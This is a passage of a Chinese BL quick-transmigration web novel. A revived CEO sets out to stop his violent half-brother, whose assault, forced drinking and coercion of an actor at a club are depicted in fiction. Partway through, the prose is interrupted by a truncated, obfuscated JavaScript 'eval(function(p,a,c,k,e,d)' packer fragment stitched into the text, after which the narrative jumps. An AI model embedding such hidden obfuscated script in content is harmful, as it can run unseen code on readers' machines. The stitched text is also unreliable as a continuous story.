《成为渣攻的顶头上司[快穿]》 1. 往事 年初的时候,耀世的总裁谢临溪出了场车祸。 一辆货车从侧面撞上轿跑,将车撞出去几米远,等救护人员将血呼呼的谢临溪从车里抬出来的时候,他已经快出血休克了。 救护车呜哩呜哩的响了一路,将谢总送进ICU,然后马不停蹄的开始抢救,但谢临溪还是陷入了深度昏迷,等他情况稳定,从ICU转移出来,已经过去半个月了。 谢临溪迷迷糊糊的睁开眼,第一眼看见的是他的私人秘书,张晨。 张晨杵在他面前,谢临溪一醒,他就连忙道:“谢总!” 谢临溪:“怎么了?” 张晨:“谢总,您弟弟失踪了!” 谢临溪顿了五秒:“谢哲韬?” 也不怪他迟疑,谢临溪和谢哲韬,实在不熟。 谢家老二谢哲韬,谢临溪同父异母的弟弟,是个文理体艺一窍不通,吃喝嫖赌样样在行的废柴混混。 谢临溪母亲生谢临溪时难产去世,谢父光速再娶,有了这个弟弟,两人几乎同岁,谢哲韬一直养在父母身边,而谢临溪不受继母待见,在外公家读书长大。 他爸老年痴呆后,谢临溪凭借外公家势力的支持入主公司,和继母那一只连经济上的往来都没有,后面忙于公司事务,和谢哲韬更不太熟,一年不说上几句话。 要说兄弟情,谢哲韬和谢临溪,还比不上谢临溪和从小养大的狗亲近。 但明面上来说,谢哲韬还是他的弟弟,再没有感情,谢临溪也还是问:“报警了吗?” 张晨:“报了,警察在查,还没有结论。” 谢临溪:“那再找找吧。” 谢哲韬以前也有过莫名其妙失踪的事情,最后发现是和一群狐朋狗友去公海喝酒赌/。/博了,还动手打了一个女模,据说是他喝酒上头,那姑娘恰好生理期,不肯陪喝酒,谢哲韬劝不动,觉得失了面子,便动手打人,旁人拉都拉不动,将人牙齿打掉了一颗,脸肿的和梨那么大。 谢临溪后来倒是问了那姑娘需不需要法律援助,但后来继母花了几百万,让那姑娘松口私了。 再后来,得罪人多了,继母就直接给谢哲韬送A国避风头去了,这回没找到,估计是又在哪儿喝大了。 谢临溪懒得管这垃圾便宜弟,只道:“再找找吧。” 他失血过多,身体虚弱,勉强清醒过来,没和张晨说两句话,又昏了过去。 结果再睁开眼,张晨还是杵在他面前,同样哭丧着脸。 谢临溪:“这回是怎么了?” 张晨:“谢总!今年的国际电影节,我们投资的电影没有获奖,华星倒是中了好几部,现在华星的股票一路走高,已经压着我们打了!” 耀世是影视行业老牌投资公司,华星则是这几年的后起之秀。 谢临溪心道:“这回顾青衍要得意了。” 顾青衍是华星的老板,和谢临溪同岁,是江城如今的新贵。 这人早年是拍电影电视剧的,据说出生不太干净,有不少露肉擦边的三级片,后来还被雪藏了好几年,后来才火的。 谢临溪见惯了美人,也不得承认他挺喜欢顾青衍那张脸,眼尾微微下垂,瞳孔眼色偏浅,唇色也偏浅,清冷中带着的股厌世的倔强劲儿,极有故事感,是张天选电影脸。 谢临溪之前还动过签约顾青衍的心思,给出的合同十分优厚,但顾青衍不知道为什么,非常抵触耀世,对耀世的优厚条件视而不见,转头签了另一家中型公司,搞得谢临溪心里十分不痛快。 以谢临溪的脾气,当然不可能热脸贴冷屁股,后来有耀世投资的电影电视剧一律没有顾青衍,顾青衍合作的节目也不会有耀世,两人从那时就结下了梁子。 后来顾青衍拿完影帝,就息影了,改行当老板,创办公司,他投资眼光准的可以,又有影帝这块招牌在,华星在短时间内崛起,开始和耀世同台竞争。 谢临溪心中膈应,顾青衍又对谢临溪有点儿莫名其妙敌意,两人连面上的客气都懒得维持,渐渐势同水火,颇有点王不见王的意思。 前两个月两人开大会,谢临溪和顾青衍还不阴不阳的互讽了几句,谢临溪说顾青衍人心不足蛇吞象,顾青衍说谢临溪得陇望蜀欲壑难填,两人不欢而散。 要是路上遇见,那也得斗嘴,那日开完会他们都去天台抽烟,顾青衍烟瘾重,抽了一地的烟头,少说二十几根,谢临溪就阴阳怪气说这样抽烟不怕得癌早死,顾青衍说你们耀世倒闭我都不会死,总之,针尖对麦芒,彼此很不对付。 所以华星股票一涨,谢临溪第一反应,就是顾青衍要得意了。 谢临溪想着顾青衍那张冰山冷脸就不舒服,啧了一声:“发个恭喜的公告,监控股票情况,安抚内部员工情绪,如果股票下跌严重,就动用现金流回购稳住股价,其余等我好了再说。” 张晨:“好的。” 谢临溪受了重伤,大大小小做了几十台手术,清醒了一会儿就想睡觉,交代完对策,体力不支,又晕了过去。 两天后再睁开眼,张晨又又又杵在他面前。 谢临溪:“还有事?” 张晨:“谢总!您弟弟找到了,是在公海一艘邮轮上,被人断了好几根肋骨,重伤二级,已经在a国的医院抢救了!” 谢临溪:“?” 他这个严重车祸的都还没重伤二级,他那傻*弟弟倒是重伤二级了? 谢临溪:“谁打的?具体什么情况?为什么打他?” 张晨:“不知道,还在调查,邮轮上都是外国人,各自身份信息不明,去向也不明,案件移交给了A国警方,我们侦探拿到了内部资料,他们拆了船舱的摄像系统,那摄像角度被调整过,只有一段模糊的视频。” 谢临溪:“我看看。” 张晨遍将视频放在他面前,点击播放:“这里。” 那录像不是正常角度,像是被人刻意调整过,视角极低,只能拍见邮轮上的地毯。 视频最开始是一片空白,2秒后,骤然摔入一道人影,谢临溪眯起眼睛,他那便宜弟弟被堵了嘴,龇牙咧嘴的摔在地上,眼睛肿的像核桃,脸颊也高高肿起,和那被他打过女模一样大。 摔在地上后,他颤颤巍巍的蠕动身体,想要朝后方躲避,嘴中发出唔唔唔的声响,眼睛却直直看上视频右上方的盲点,不住的摇头,瞳孔哆嗦着放大,如同看见了什么极端恐怖的东西。 接着,视频中又踏进来一双脚。 那人穿着双深棕灰的雕花牛津鞋,尖头,小牛皮材质,鞋底是略风骚的暗红,配灰蓝色的纯色绅士袜,在往上,是一截西装的裤脚,西裤包裹着线条流畅的小腿,正从视频外缓步走来。 他穿的极为正式,考究的不像在度假邮轮上,而像是刚从什么洽谈会议上下来。 谢临溪:“这人是谁?” 张晨擦了擦汗:“不知道,出事的地方是公海,A国警方还在查……” 还没等他说完,下一秒,那皮鞋便狠狠踩在了谢哲韬的脸上。 鞋尖碾着谢哲韬青紫的脸转了两圈,留下清晰的鞋印,随后抬起来,一脚踹在了谢哲韬的腰腹。 谢哲韬痛苦的缩起来,像一只弓起的虾,他狼狈而急促的呼吸,嘴中发出痛呼,又尽数被布料堵了回去,只能虫子似的蠕动个不停。 那人微微俯身,脸恰好避开了录像,得体的缎面西装包裹着高挑的身材,腰部的扣子松松收出腰线,他伸手挑起了谢哲韬的脸,顺手拍了拍,笑道:“谢二少,疼吗?” 这人恭恭敬敬的叫着“谢二少”,手上动作却不见客气,他捏着谢哲韬的脸往上抬,十指在皮肤上留下清晰的指痕。 谢哲韬哆嗦的更加历害,他被堵了嘴,说不出话,只仓皇摇头,那人又笑道:“摇头,那就是不疼?” 谢哲韬的挣扎陡然变大。 在谢哲韬越发惊惧的视线中,那人又施施然抬腿,又极其狠历踹了他几脚,嘴上却笑了声:“谢二少,当年你这样踢我,害得我断了五根肋骨的时候,有没有想象过有一天你也会躺在这里,像条狗一样对我摇尾乞怜?嗯?” 他的声音经过变声器的处理,音色变得模糊,吐字却依旧清晰,尾音中的笑意尤起清晰,温柔的不成样子,配上毫不留情的动作,令人不寒而栗。 张晨:“也不知道这人是谁,谢哲韬又是怎么招惹上的?” 谢临溪心道:“活该。” 以谢哲韬的离谱程度,谁知道在A国惹了什么人。 他没太关注这便宜弟弟,而是将视线落在了另一个人身上。 结果这一看,谢临溪就愣住了。 谢临溪:“这人……” 他想:“这人的身形,怎么那么像顾青衍啊?” 谢临溪是文娱投资行业的,每年见过的俊男美女没有一千也有八百,耳濡目染之下,他的时尚敏锐度很高,对身材更是敏感,几乎到了过目不忘的地步。 有段时间江城官方组织大型活动,谢临溪天天和顾青衍一起开会,他俩地位相访,那主办方也不知道他们关系不好,硬把两人座位放旁边,那段时间为了和死对头抢风头,谢临溪西装都换的勤了,结果他一换,死对头跟着换,两人跟军备竞赛似的,硬生生将会议搞成了春季高定西装的发布会现场。 顾青衍身量挺高,但比谢临溪略矮,偏偏腿很长,迈起步子来不输男模,可是背薄腰也细,比起品牌偏爱的硬朗男模又要文气一些,圈中和他身材完全相似的,谢临溪没见过。 会开了两个月,明争暗斗就斗了两个月,两人低头不见抬头见的,谢临溪从早看到晚,顾青衍穿什么西装的样子他都看过,看的都要吐了,化成灰他都能认出来。 可在这个视频中,他倒有些不敢认了。 顾青衍那是什么人,连谢临溪都爱答不理的,天天垂着眼,一副有人欠了他八百万的样子,这样一个人,和谢哲韬能扯上什么关系? 张晨:“谢总?” 谢临溪:“……没事,该是我看错了。” 他下面还有手术,就挥手让张晨离开,护士将他推进手术室,注入了麻药。 这回再彻底醒来,已经是一天后了。 谢临溪一醒,张晨又又又杵在床头,他猛虎扑食般一个滑跪,抓住栏杆,哭丧着脸道:“谢总!” 谢临溪:“还有事?” 张晨:“有好多事!” 谢临溪:“你慢慢讲。” 张晨:“第一,华星忽然大规模做空我们公司,给出了极为优厚的条件,撬动了好几位股东出走,然后全方位挖掘我们的艺人,第二,有人在网上公开了几个视频,是二少爷的!视频显示他组织酒会,满口污言秽语,殴打虐待不服从的明星嫩模,下手特别狠,因为别人不陪喝,拎着别人的头发往桌子上撞,视频打了马赛克都能清楚的看见受害者的牙齿飞了出来,还流一脸的血,现在网上群情激愤,叠加多名股东抛售,我们的股票一路下跌,引起了恐慌式的抛售,已经破发了!” 谢临溪蹙眉:“怎么回事?” 张晨:“顾青衍疯了,忽然不计后果大规模针对我们,加上二少爷的丑闻曝 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张晨:“有些年头了……估计是二少爷,呃,谢哲韬特意拍下来,留着自己回味……或者欣赏用的。” “回味?欣赏?”这两词放在这里,说不出的恶心,谢临溪气笑了:“他倒是有本事了。” 谢哲韬虽然是谢家的二少爷,可耀世是谢临溪在全权负责,和谢临溪一点儿关系都没有,但在外人眼中,就算谢临溪和谢哲韬关系再不好,谢哲韬也是谢临溪的弟弟,耀世的二少爷。 谢临溪的血压已经往180去了:“尝试联系谢哲韬的受害人,赔偿道歉,争取得到谅解,再发公告与谢哲韬割席,说明他不参与公司决策,我也将再出院后公开与他断绝亲戚关系,如果有任何受害者希望控告,耀世将无条件提供法律援助。” 张晨:“好的!” 谢临溪:“至于华星……顾青衍为什么忽然针对我们?” 他脑海中有个猜测,却不敢置信,只揉了揉额角:“你动用耀世的现金流回购股票,尽量稳住,下午我开个线上股东会议,先将大股东们安抚下来。” 张晨欲言又止:“老板,您现在的身体状况,能开股东会议吗?” 这种会议一般会经历多轮辩论质疑,强度很高,谢临溪刚刚车祸,又先后经历了几场手术,身体状况实在不好。 谢临溪:“现在这个情况,我不开也得开。” 这一开,就开了五个小时。 谢临溪揉了着额角,后脑一突一突的跳着疼,明天还有手术,他只能先放下公司事务,准备先行休息。 张晨扑在他的床头,眼泪汪汪:“老板!你可千万要好起来啊!千万不能有意外啊!耀世离不开你啊!” 谢临溪满脸黑线:“能说点好的吗?” 结果好的不灵坏的灵,还真给张晨说中了。 他听见身边仪器尖锐的报警,听见医护人员凌乱的脚步,他的意识渐渐模糊,视野变得漆黑…… 然后,他的灵魂从身体冒了出来,旁观完了后续的发展。 ——耀世总裁死亡,核心家族成员巨大丑闻,华星不计代价的针对,三重因素叠加,耀世局势急转直下,到了破产的边缘。 谢临溪想着:“这下顾青衍可要得意了,”结果他漫无目的的围着医院转了一圈,顾青衍的情况也不太好。 顾青衍也在医院,在另一间病房。 谢临溪想,他有点认不出顾青衍了。 他和顾青衍开过许多次会,顾青衍从来穿最服贴的西装,打最得体的领带,他将头发梳到脑后,连鬓角都乖顺服帖,两个小时的会议下来,坐姿还是笔挺的,深怕别人看不出来他是业界精英成功人士,谢临溪总觉得他有强迫症,似乎在旁人——尤其是谢临溪面前露出一点儿狼狈,都会要了他的命。 但现在,他憔悴的历害,衬衫外头披了件西装外套,外套料子极好,挺阔锋利,衣料下的身体却单薄瘦削,挂阵风都能吹倒,一副身体羸弱,命不久矣的样子。 谢临溪听见医生和他交流病情,说是胃癌晚期,只剩下两个月的活头了。 顾青衍不甚在意,反而笑了笑:“赶再死前,该报复的都报复完了,谢哲韬,还有庇护他的耀世,即使死了,我也能做个释然鬼了。” 在他身边飘着的谢临溪心道:“我做不了释然鬼。” 到现在,他也推出了事情的始末——早年谢哲韬接着耀世的名头,早年包养虐待过顾青衍,而顾青衍发达后复仇清算,将谢哲韬和耀世一锅端了。 谢临溪:“……” ——所以,在这段故事中,他是干什么的呢? 仿佛顾青衍和谢哲韬各自领了复仇剧本,在聚光灯下演绎悲欢离合,而他谢临溪是故事的背景板,台词不超过两句的NPC,无辜露过的路人甲,却被迫卷入了风暴中心。 在意识彻底消散前,谢临溪的脑海中只有一个想法。 ——如果再来一次,他要赶在剧情开始前,将谢哲韬一脚踹出去八百米。 这时在一片漆黑的昏沉中,一个纯白的光团忽然浮了上来,彬彬有礼的对他行了个屈膝礼。 “检测到人物‘谢临溪’心愿强烈,附和绑定标准,启动绑定程序。” “1%,2%……100%” “绑定程序完成。” “您好,我是渣攻顶头上司扮演系统008,在接下来的时间中,008将竭诚为您服务~” 2. 小说 纯黑的空间中,小光团静静悬浮在谢临溪面前:“您好宿主,我是时空管理局世界线纠错部的系统008,您可以叫我阿八,八八,或者小八~” 无论是八八还是阿八,都有被占便宜的嫌疑。 谢临溪:“……还是小八吧。” “好的,接下来,由小八为您介绍任务要点~” 欢快的电子音响彻在脑海:“我绑定您,是因为一本小说剧情严重崩坏,本文虐中带甜,主角攻应该在渣的同时,展现出恰到好处的柔情,抚慰软化主角受受伤的心灵,然后两人经过一番缠绵拉扯,顺利HE。” “但本文中,由于主角攻过于过分,主角受过于清醒,本来HE的结局直接BE,爱情小说变成了复仇文,与此同时,主角受重度抑郁,严重透支身体,提前离世。” “而您,在本文中,您是主角攻的顶头上司,也是保护伞和铁靠山。” 谢临溪略黑线:“……能不能不要用‘保护伞’和‘铁靠山’,好像我是什么黑恶势力。” “好的,您是主角攻的顶头上司。”小八改口:“虽然您是小说的背景板,是台词不超过两句的NPC,是路过片场的无辜路人甲,但当主角受报复的时候,您和您的公司还是首当其冲。” “系统检测到您扭转局面的强烈意愿,我希望您作为主角攻的顶头上司,能帮助我扭转约束主角攻的行为,引导脱离剧情的主角受,主角攻受重归旧好,修复世界线bug,同时让主角受黑化值降低,美满值重新达到100%,顺利完成后,可获得重生资格*1。” 修复剧情很好理解,无非是让剧情沿着原本的放向发展,谢临溪:“美满值是什么?” “您可以理解为,主角感到美满,重新热爱这个世界,不再悲观厌世的一种积极情绪。” 光团彬彬有礼的鞠躬:“如果您同意,请和我签订契约。” 谢临溪是影视行业的投资着,了解“系统”“穿越”之类的题材,所以当008出现在眼前,他并没有惊慌。 这身体已经死了,能重活一世当然很好,谢临溪点头:“没有问题,请将契约给我吧。” 小八在空间具现出纸笔,甚至还具现出了一杯水。 光团礼貌的将水和纸笔一起挪给谢临溪:“好的,请您在这里签字呢。” 谢临溪翻了翻合同,没看出明显的问题,便喝了口水,微微颔首,摆出了公事公办的态度:“为了保证合作愉快,你说原小说剧情崩坏,能详细介绍原小说一下吗?这有助于我完成任务。” 谢总忙于事业,没谈过男女朋友,他知道攻受的概念,但对细节不甚了解。 “好的,小八这就这就为您介绍呢。” 一本花花绿绿的书凭空浮现,书页哗哗作响,纯白小光团趴在书页上,一本正经的朗读起剧情梗概: “本文以凄然悲怆的基调,行云流水的文笔,描写了富家公子谢哲韬(攻)和影帝顾青衍(受)从之间缠绵悱恻的爱情故事,两人从彼此折磨到执子之手,从相看两厌到心心相印,收获了刻骨铭心的爱情……” 话音未落,谢临溪剧烈的咳嗽起来。 谢哲韬,顾青衍,缠绵悱恻,刻骨铭心。 谢临溪艰难的重复着几个词,几乎控制不住古怪的表情:“谢哲韬和顾青衍?” 小八茫然的看着他:“对,谢哲韬和顾青衍,缠绵悱恻,刻骨铭心,怎么了?” 谢临溪:“……” 哦,他险些忘了,顾青衍断了五根肋骨,谢哲韬还躺在ICU,某种意义上,确实挺刻骨铭心。 “是的呢,这就是本文的主角攻受呢。”光球查阅文档,严肃点头,“没有错误呢,宿主有问题吗?” 谢临溪:“没有,你继续吧。” 小八继续:“主角攻谢哲韬,他霸道专情,俊美风流,主角受顾青衍,他温柔善良,纯洁无暇……” 话音未落,谢临溪噗的喷出了一口茶。 小八茫然:“怎么了,宿主?” “……” “没事”,谢临溪揉着额角,也不敢让系统再读了,“你手上的那本小说,直接拿给我看一下吧。” 两小时后,谢临溪读完了这本名叫《迷失在爱欲囚笼》的三俗智障小说。 他在小八的注视下沉默的合上书页,沉默的拿起茶杯,沉默的喝了口茶。 这是本古早狗血文,攻受误会,折磨,和好;再误会,再折磨,再和好;还误会,还折磨,还和好;继续误会,继续折磨,继续和好……拉拉扯扯三百多章,攻浪子回头,受感动原谅,终于修成正果。 天知道谢临溪花费了多大的力气,才克制住抽搐的嘴角。 他长久的不说话,小八有点迷糊:“宿主,这个小说怎么了吗?” 谢临溪:“……” 怎么说呢,有种看熟人演G/./V的诡异感。 他斟酌良久,评价道:“你文里这个攻受的人设……还挺新颖的。” 主角攻,谢哲韬,谢氏二公子,精英中精英,他英俊潇洒,阴郁偏执,拥有锋利如剑的长眉和锋锐如刀的下巴线,喜欢三分冷酷三分无情四分漫不经心,眼神比X光还要锐利,口头禅是:“呵,有点意思。” 如果不是谢临溪知道谢哲韬小学尿床,初中语数英不及格,高中语数英物化生通通不及格,大学高数取得足足D-的‘优秀成绩’还挂了17门差点没毕业,满口‘MD’‘WCNDB’之类的污言秽语,吃喝嫖赌还暴力倾向,劣迹斑斑堪称法制咖,前两年投资亏了他爹妈一个亿,快三十岁了连耀世的门都没摸过等等等等……谢临溪一定会赞同,这真是一个好冷酷好无情的商业精英。 你能想象一个小学加减乘除都算不清楚的精英吗? 反正谢临溪不能。 主角受,顾青衍,纯情小可怜,一年365天有366天都在顾影自怜,他纯洁又善良,面对暴力只会嘤嘤嘤的流眼泪,最终凭一腔爱感化渣攻,修成正果。 如果不是谢临溪知道顾青衍在生意场上嘴有多毒,抽烟有多猛,皮鞋踩着谢哲韬的脸往下压的样子有多狠,玩起手段来多么凌厉,一夜之间又让耀世的股票暴跌了多少,谢临溪一定会赞同,这真是一朵好无辜好楚楚可怜的小白花。 ——还小白花,霸王花猪笼草差不多吧。 好歹毒的一本书,谢临溪眼睛里的光都没有了,非常想将书中的片段从脑子里丢出去。 小八是个新生的小系统,它歪歪头,不太明白为什么宿主失去高光:“这真是一个凄然唯美的爱情故事,不是吗宿主?” “……” 谢临溪叹气:“小八,那些在法律上蹦迪的情节,是需要严格制止的,那并不是爱情,也并不凄美。” 要他说,比起那些狗屁拉扯,还是顾青衍让耀世股票跌破首发,市值蒸发近百亿的事情比较凄美。 小光团歪歪脑袋:“唔?” 它是个刚刚出来打工的新生系统,不太明白宿主的意思,只能求助的看向宿主。 谢临溪:“算了,一时半会解释不清楚,你也理解不了……你先和我说说,我需要做什么吧。” “唔,好的。”小光团继续翻书,“总而言之,我们是个纠错系统,在世界中,您将扮演渣攻的顶头上司,请管教约束主角攻的行为,纠正他的不良习性,让他的施虐值不要突破应有阈值,同时让主角受回到世界线中,获得应有的美满结局,嗯,就是这样。” 008交代完任务,便看向谢临溪:“宿主觉得困难吗?” “约束管教谢哲韬?” 008听见他的宿主意味不明的重复了一句,忽然勾了勾唇角,露出一抹笑容。 “管教谢哲韬是吧,好啊,这个我会。” 在病房里的最后那天,被公司状况气的头脑发昏的时候,谢临溪的脑子里都只有一句话 ——假如能回到过去,他要将谢哲韬一脚踹出去八百米,好好告诉他什么叫长兄如父,告诉他花儿为什么这样红。 * 谢临溪是在酒局上醒来的。 窗外天色已晚,城市的灯火连成蛛网似的细线,向无穷远处延申而去,而谢临溪正坐在包厢中,手中端着一杯白酒。 身体略有发热,但思考正常,谢临溪略略估计,现在大概有七分醉。 这大概是穿越到了他刚刚接管耀世的时候。 谢临溪其实酒量不好,容易醉,也不喜欢喝酒,他喝酒最多的时候,就是刚刚接管耀世的时候。 那时候他年轻的很,公司的老人都不太服他,想着自立山头,有什么影视资源都藏着掖着,用假数据胡弄他,谢临溪干脆也不通过他们,他手上捏着大笔资金,就直接请娱乐圈名导喝酒聊投资,定了好几个项目,谢临溪眼光老辣,投资十次八赚,这么做了两年,公司上下就服服帖帖了。 这也是其中的一次酒局。 谢临溪扫过全场,很快记起了谁是谁——主桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“谢哲韬正在会所开party,他喝多了酒,在众人面前对顾青衍上手,顾青衍当然不同意,在原剧情中,顾青衍要‘软绵绵’的抵抗,而谢哲韬要‘霸道而不失温柔’‘阴郁之下难掩深情’的强吻谢青衍,然后将人一把抱起,带到二楼,接着谢哲韬的眼神‘像野兽一样富有侵略性’,然后在一片‘暧昧迷蒙’的痴缠中,两人达到生命的大和谐。” “原文剧情复述完毕。” 小八一版一眼的回复。 谢临溪:“……” 即使已经看过一遍小说,谢临溪依然被这离奇的描述硬控了三秒。 与其让他相信顾青衍会“软绵绵的推拒”,不如让他相信顾青衍被人夺了舍,以这位的脾气,大概应该直接给谢哲韬一个耳光。 他面无表情:“然后呢?” 小八:“但是,由于未知偏差,谢哲韬的行为失控了,他比小说中描述的暴力的多,不但当着宾客的面掌掴顾青衍,当顾青衍再次拒绝的时候,还踢断了他的一根肋骨。” “这些情节是小说中没有的,我希望宿主能以上司的身份,约束教育谢哲韬,让他意识到暴力是不对的,并让顾青衍获得今夜本该有的美好体验,并获得5%的美满值。” 谢临溪:“。” 谢临溪:“你希望我怎么约束教育?” 虽然谢临溪和谢哲韬不怎么见面,但他不得不说,比起“霸道而不失温柔”“阴郁之下难掩深情”“野兽一样富有侵略性”这种离谱形容词,超雄人设才更适合谢哲韬。 性格不是靠约束教育就能扭转的,指望人渣浪子回头,不如干脆离人渣远点。 小八微微歪了歪头。 作为新生系统,它其实也不明白约束和教育的意思,只能依照设定中的资料给出建议。 “和谢哲韬谈心,让他意识到暴力的错误,或者与他约法三章,设定奖励机制?” 谢临溪:“。” ——你们那什么中央管理局出来的系统都是这么天真无邪的吗? 他没有纠正茫然的系统,只是捻了捻眉心:“行吧,告诉我谢哲韬现在在哪儿?” 小八:“唐城南路半岛会所,15号房” * 唐城南路,半岛会所, 整栋会所灯火通明,15号房中,十多个人围着坐成一桌,其中四个明显是主座,其他打扮明丽的男男女女则三三两两围绕在他们旁边,递酒的递酒,递烟的递烟,厅堂里酒气冲天,烟雾缭绕。 只有一个人例外。 他穿不合身的西服西裤,衬衫领口偏大,一看就是为了面试特意租赁的,头发却一丝不苟的梳到了脑后,打理的整齐利落,他的皮肤泛着不正常的粉红,手中捏着一份变形的简历。 3. 教训 谢哲韬摸了张牌,翘着二郎腿,左手夹着烟抽了一口,偏过头,将烟圈吐在了顾青衍面前,顺手拍了拍他的脸,招猫逗狗似的。 “怎么,大明星,还没想好啊?搁着杵了半个小时了,你那药不难受啊?” 烟雾掠过鼻尖,气味令人恶心。 顾青衍偏头,生硬道:“谢少,抱歉,我今天只是来面试的。” 他的面颊泛着病态的红,嘴唇抿成一条直线,坐姿倒是笔挺,扣子也好好的系到了最上一颗,领口束住修长的脖颈,在这灯红酒绿满是深V亮片的地方,端庄禁欲的像个贞洁烈女。 “呦,你是来面试的?”谢哲韬拖长音调笑了声,顺手揽过身边的小男生,捏着他的下巴吹了声口哨:“这儿谁不是来面试的,啊,你不是来面试的?” 那男生陪着笑,想将酒给谢哲韬满上:“是,可不是来面试的,我们想给二少倒酒,也得二少看得上我们不是。” 谢哲韬二指夹着烟:“顾青衍,我的床又不是垃圾桶,什么货色都要,多少人挤破头才能上来的,要搭上我这条线,我也得看看你的姿色,你要是长得丑,就算你乐意,那我还不乐意呢?” 他瞧着顾青衍,语重心长一般:“大明星,混我们这个圈子,就要懂我们这个圈子的规矩,谁的线都不搭,你能干得下去?” 其他酒客跟着一起劝,有人指着给谢哲韬,不着痕迹的捧了把:“我说,你还不知道这位是谁吧?这位,耀世前总裁是他爸,耀世现总裁是他哥,谢家正儿八经的二少爷。” 顾青衍不做反应。 对面一愣,一拍桌子:“嘿,你不知道谢家?那谢临溪呢,谢临溪谢总,这知道吧?搁你们圈子里呼风唤雨的人物,他一句话,多大咖位都能给你雪藏了,让你几年接不到戏,信不信?” 他们都喝的醉醺醺的,酒气上头,又有人嘻嘻哈哈的附和:“让他几年接不到戏?何止啊!他签的那公司都几年开不了张!” 几人嘻嘻哈哈笑成一团,又纷纷起身给谢哲韬敬酒。 谢哲韬端着酒杯,挨个碰过,状似随意的挥了挥手:“行了行了,我哥是我哥,我是我,都坐回去坐回去。” 嘴上说着,谢哲韬一挑眉毛,唇角的肌肉也牵起来,勉强压住笑意。 他挺受用的。 虽然说和谢临溪不熟,甚至挺讨厌这个哥哥,但谢哲韬自己也知道,他爹老年痴呆了,在公司说不上话,亲妈也是个没手段的,至今没有公司股份,全靠他爹在养,现在他们全家名头最响的,就是八竿子打不着的哥哥谢临溪了。 谢哲韬混的二世祖圈子,都是些踩低捧高的人,旁人一听谢临溪的名字,对他都要客气几分,谢哲韬虽然心里厌恶,也少不得借谢临溪的名字狐假虎威,往脸上贴金。 他控制住脸上的笑意,装成云淡风轻的样子,斜睨了一眼顾青衍。 ——这种层次的小明星他见的多了,只要听见谢临溪的名号,十有八九要上来敬酒。 但顾青衍没有动静。 他不说话,听见谢临溪的名字也没什么表情波动,脸色一如既往的冷淡,这人眼眸狭长,眼尾下坠,天生一张厌世脸,不笑的时候,表情极为冷淡。 谢哲韬正被捧的飘飘然了,看见他的反应,夹着烟的手停在半空,脸上的笑容瞬间冷了下去。 他这人单眼皮,有点下三白眼,面像不怎么正气,有股子阴冷的味道。 喧闹的酒桌安静下来,几秒没人说话。 旁边的男生见状,连忙倒了杯酒,将杯子喂到谢哲韬唇边:“谢少,这人不懂规矩,也是刚来的,您消消气。” 谢哲韬忽然抬手,那杯子就从男生手里打翻了,玻璃跌落于地,砰了的一声,四分五裂。 男生还没来得及惊呼,却见谢哲韬起身将顾青衍往身边拽了一大截,然后抡起巴掌,直接扇在了他的脸上。 众人一愣,顾青衍的脸瞬间红了一块,浮上红肿,他被打的歪向一边,牙齿咬破下唇,偏脸出一口血沫,身体也不受控制的向后倒去,撞在了沙发桌角。 谢哲韬骂了句妈的,抱臂站在顾青衍面前,尤嫌不解气,忽然抬腿,照着他小腹踢了一脚,顾青衍不可遏制的发出痛呼的气音,又给囫囵压在嗓子中,这一脚跺的极狠,他单手捂着小腹,半跪着弓起身,脸色煞白,疼得发抖起来。 谢哲韬鞋尖碰着他的小腿,又抽了口烟,他在顾青衍面前半蹲下来,二指钳住他的下巴,另一只手拍了拍顾青衍的脸:“你经纪人没和你说过,我这里是什么地方,送过来了还想走,有那么容易啊,你刚出道,这就把自己当大明星了,我再问一遍,你做陪不做陪?” 顾青衍给他钳制着,低不了头,清凌凌的眼睛直勾勾的盯着谢哲韬:“我不是干这个的。” “你不是干这个的?”谢哲韬钳着他,对着小腹又是一拳,顾青衍晚上什么也没吃,倒是给灌了半瓶酒,当下干呕一声,仰面栽倒在了地上。 这时,四周的酒客才纷纷反应过来,起身来拦:欸谢少谢少,算了算了。” “他这小身板,别又打出事儿。” 可他们围着谢哲韬劝,松松抓着,却没有一个人敢真的拉他。 谢哲韬喝完酒发疯是什么样子,这群人都知道。 谢哲韬:“给我瓶酒。” 没人敢动,谢哲韬就往后一睨,被他盯着的男孩一个哆嗦,给谢哲韬递了瓶没开的新酒。 62度的白酒。 谢哲韬拿起瓶器往下一压,酒瓶啵的一声打开,他掐住顾青衍的脖子将他拎起来,将酒瓶直直杵进了他嘴里,也没管磕没磕着牙,蛮横的往上一拉,顾青衍迫不得已扬起脖颈。 吞咽和咳嗽声一同响起,多余的酒液顺着唇角滑下,沾湿了衬衫,顾青衍指尖哆嗦着在长绒地毯上摸索,摸到了一个冰凉的物件。 喝空了的酒瓶。 顾青衍扣住啤酒瓶,猛的抬手往谢哲韬头上一敲,玻璃碎成渣滓四散分开,发出沉闷的碎裂声。 谢哲韬头往旁边一歪,瞬间就出了血,他踉跄着后退松开手,顾青衍扶住沙发,剧烈的咳嗽起来。 谢哲韬先是茫然,然后不可思议的抬手摸了摸额头,低头看向指尖 ——鲜红色的,沾满了鲜血。 痛感涌现,谢哲韬看看手,看着顾青衍,明显被气笑了:“好啊,有种。” 他在屋内来回踱步,转了两圈,抄起了一个刚开始喝的酒瓶子。 有酒的酒瓶和空酒瓶可不一样,有酒的少说两斤重,和块砖头似的,砸下去就是头破血流。 这时,008已经飘到了门外。 小光团翻开剧本,整个毛茸茸的身体压在书册上,它低头翻书,严谨的像个小古板: “经检测,剧情正在崩坏中,谢哲韬正在施暴,请宿主出面阻止,对谢哲韬进行批评教育,督促他意识到错误,改邪归……” 话音未落,却见他的宿主忽然扯了扯唇角,表情古怪。 谢临溪:“批评教育?改邪归正?” 这只天真无邪的小系统可不知道,前世躺在病床,一边输液一边处理公司事务,疼的满头是汗却要开股东会议,血压狂飙的时候,谢临溪都只想做一件事。 ——踹死谢哲韬。 谢临溪忽然抬起腿,一脚踹在了门上。 “……正。” 小光团的最后一个音卡在喉咙中,会馆大门已经轰然像两边弹开,在飞扬的木屑中,谢临溪环视一圈,抬步走入。 他这边动静太大,屋内所有人都停下了动作,朝门口看来。 顾青衍半跪着蜷起腹部,艰难咳嗽两声,同样抬眼,看向门口。 在缭绕的烟雾中,有人抬步走了进来,停在离牌桌半米的地方,居高临下的环视全场。 